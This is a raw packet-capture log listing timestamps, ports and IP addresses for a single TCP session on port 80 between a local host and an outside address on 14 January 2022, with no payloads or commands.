Jan 14, 2022 05:00:00.804898024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804929018 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804943085 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.804965973 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.804980993 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805006981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805026054 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805046082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805068970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805083990 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805090904 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805123091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805140972 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805161953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805176973 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805201054 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805216074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805241108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805258036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805279970 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805294037 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805320024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805332899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805358887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805376053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805397987 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805413961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805438995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805454016 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805479050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805496931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805520058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805535078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805560112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805576086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805598974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805613041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805638075 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805651903 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805677891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805692911 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805715084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805730104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805754900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805764914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805794954 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805809975 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805834055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805855036 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805892944 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805906057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805947065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805960894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.805984974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.805999041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806025028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806041002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806065083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806080103 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806102991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806126118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806143999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806166887 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806184053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806199074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806226015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806246042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806266069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806281090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806304932 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806324005 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806344032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806359053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806384087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806410074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806421995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806444883 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806468010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806483030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806508064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806521893 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806549072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806569099 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806591034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806596041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806643009 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806659937 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806684017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806699038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806724072 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806746960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806761980 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806778908 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806802988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806817055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806843042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806858063 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806883097 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806899071 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806924105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806940079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.806962967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.806978941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807003021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.807017088 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807059050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.807074070 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807096958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.807115078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807137012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.807152033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807177067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.807190895 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.807235003 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813406944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813436985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813462019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813482046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813494921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813508034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813508034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813534975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813558102 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813575029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813579082 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813602924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813621998 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813627005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813643932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813657045 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813664913 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813683033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813704014 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813709974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813724041 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813738108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813760996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813761950 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813781977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813790083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813802004 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813816071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813837051 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813841105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813874006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813884974 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813884974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813911915 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813932896 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813936949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813947916 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.813962936 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813988924 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.813992023 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814004898 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814017057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814040899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814044952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814060926 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814073086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814093113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814100981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814105034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814127922 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814146996 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814153910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814168930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814179897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814204931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814205885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814222097 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814233065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814255953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814259052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814270020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814285994 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814311981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814316034 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814337969 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814342976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814361095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814362049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814378977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814388037 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814410925 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814413071 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814429045 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814439058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814459085 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814465046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814487934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814491034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814517021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814527988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814542055 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814542055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814557076 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814567089 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814579964 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814594030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814619064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814632893 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814642906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814646006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814662933 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814670086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814681053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814696074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814708948 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814723015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814749956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814763069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814773083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814798117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814799070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814824104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814834118 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814846992 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814848900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814868927 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814873934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814888000 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814902067 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814922094 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814929008 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.814940929 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.814971924 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.823771000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.823800087 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.823868990 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.823894024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864078999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864136934 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864181042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864207983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864222050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864238977 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864245892 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864264011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864279985 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864305019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864329100 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864346981 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864351988 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864387035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864403009 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864429951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864449024 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864475965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864478111 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864514112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864528894 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864556074 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864566088 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864595890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864610910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864635944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864654064 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864675999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864717007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864756107 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864797115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864830017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864833117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864875078 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864892006 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864914894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864928961 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.864953995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.864993095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865011930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865031958 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865071058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865086079 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865114927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865154028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865168095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865195036 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865233898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865247965 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865273952 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865314007 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865323067 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865354061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865394115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865401983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865437031 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865474939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865489960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865515947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865556002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865571976 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865592957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865633011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865641117 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865670919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865710974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865725040 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865751028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865788937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865797997 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865830898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865895987 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.865917921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865956068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.865998030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866008043 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866040945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866079092 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866087914 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866118908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866158009 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866173983 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866197109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866236925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866256952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866277933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866317034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866324902 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866357088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866394997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866410971 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866436005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866475105 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866485119 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866513014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866553068 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866560936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866590977 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866646051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866653919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866687059 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866724014 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866733074 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866764069 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866803885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866815090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.866842985 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866882086 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.866897106 CET	49905	80	192.168.2.3	94.142.143.91
